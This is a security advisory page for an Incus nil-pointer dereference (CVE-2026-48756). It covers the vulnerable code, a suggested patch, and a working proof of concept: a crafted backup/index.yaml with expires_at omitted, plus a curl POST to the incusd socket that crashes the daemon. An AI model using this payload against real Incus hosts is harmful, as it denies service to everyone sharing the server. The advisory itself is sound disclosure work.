low

CVE-2026-48756

Go · github.com/lxc/incus/v7/cmd/incusd

Summary

Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)

Severity
low
EPSS
0.2% (p13)
CWE
CWE-476
Also known as
GHSA-xhqx-mgh3-3h7q
Published
2026-06-26
Updated
2026-06-26

Advisory details

Summary

(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

// Line 7710-7714 — the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
    if s == nil {
        return errors.New("Bad snapshot definition found in index")
    }
    snapshot := s
    snapName := snapshot.Name
    // ...
    // Line 7731 — UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,   // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

Line Code Guarded?
909-910 CreateInstanceFromBackup YES
1134-1135 refresh path YES
1422-1423 migration path YES
7731 CreateCustomVolumeFromBackup NO

Reach

  1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
  2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
  4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
  5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
  volume_snapshots:
    - name: snap0
      description: snap0
      config: {}
      # expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-vol.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-vol' \
    http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep    # process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
    /build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c
created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
    /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.